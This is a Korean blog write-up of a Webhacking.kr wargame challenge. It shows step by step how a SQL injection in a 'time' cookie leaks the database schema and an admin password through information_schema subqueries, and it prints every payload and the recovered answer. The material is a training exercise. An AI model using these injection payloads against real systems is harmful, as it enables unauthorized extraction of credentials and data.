문제 서버에 접속하면 위와 문구가 출력된다.
F12를 눌러 소스코드를 확인하면 주석이 두가지있는데 첫번째는 시간을 출력하고 두번째는 admin.php에 접속하라는 힌트가 기록되어있습니다.
admin.php에 접속하면 위와 같이 패스워드를 입력하는 창이 나오지만 패스워드는 알 수 없습니다.
다시 이전 페이지로 돌아가서 F12를 눌러서 Application의 쿠키값을 확인하면 time이라는 변수가 있습니다. 첫번째 주석에 시간이 적혀있었는데 관련이 있어보입니다.
time 값에 false를 입력하고 새로고침하면 주석에 기록된 시간이 위와 같이 09:00:00로 변경됩니다.
time 값에 true를 입력하면 09:00:01으로 변경됩니다. 이를 통해 우리가 입력한 데이터베이스 언어에 따른 결과값이 출력됨을 추측할 수 있습니다.
다음으로 현재 데이터베이스의 테이블 개수를 알아보기 위해서 아래와 같은 sql문을 입력하면 결과가 09:00:02가 출력되므로 테이블 개수가 2개임을 알 수 있습니다.
(select count(table_name) from information_schema.tables where table_schema=database())
현재 데이터베이스의 테이블 개수는 2개이므로 테이블 중 첫번째 테이블의 길이를 출력하는 sql문을 입력하면 13크기의 길이를 가집니다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
테이블 길이를 알았으니 테이블 이름을 찾아보겠습니다. 앞에서부터 한 글자씩 찾는다면 첫번째 문자는 아래의 sql 문을 입력하면 됩니다. 결과는 09:01:37로 01:37은 60+37=97을 의미한다고 볼 수 있겠습니다. 아스키코드 값을 참조하면 'a'임을 알 수 있습니다.
(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0, 1)
두 번째 문자는 아래 sql문으로 d 임을 알 수 있습니다.
(select ascii(substring(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 0, 1)
97, 100, 109, 105, 110, 95
a d m i n _ area_pw
테이블 이름은 admin_area_pw로 컬럼의 개수를 찾으려면 아래 sql문을 입력합니다. 컬럼은 한개밖에 없습니다.
(select count(column_name) from information_schema.columns where table_name="admin_area_pw")
컬럼의 길이는 2입니다.
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")
컬럼 이름 역시 하나씩 찾습니다. 칼럼의 이름은 pw입니다.
(select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw")
칼럼 값(패스워드)의 길이는 17입니다.
(select length(pw) from admin_area_pw)
(pw, 1, 1)부터 (pw, 17, 1)까지 sql 문을 하나씩 입력하면 패스워드를 찾을 수 있습니다.
(select ascii(substr(pw, 1, 1)) from admin_area_pw)
107 117 100 111 115 95 116 111 95 98 101 105 115 116 108 97 98
k u d o s _ t o _ b e i s t l a b
kudos_to_beistlab
'웹 해킹 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-06 (0) | 2021.08.27 |
---|---|
[Webhacking.kr] old-05 (0) | 2021.08.26 |
[Webhacking.kr] old-04 (0) | 2021.08.26 |
[Webhacking.kr] old-03 (0) | 2021.08.26 |
[Webhacking.kr] old-01 (0) | 2021.08.25 |
댓글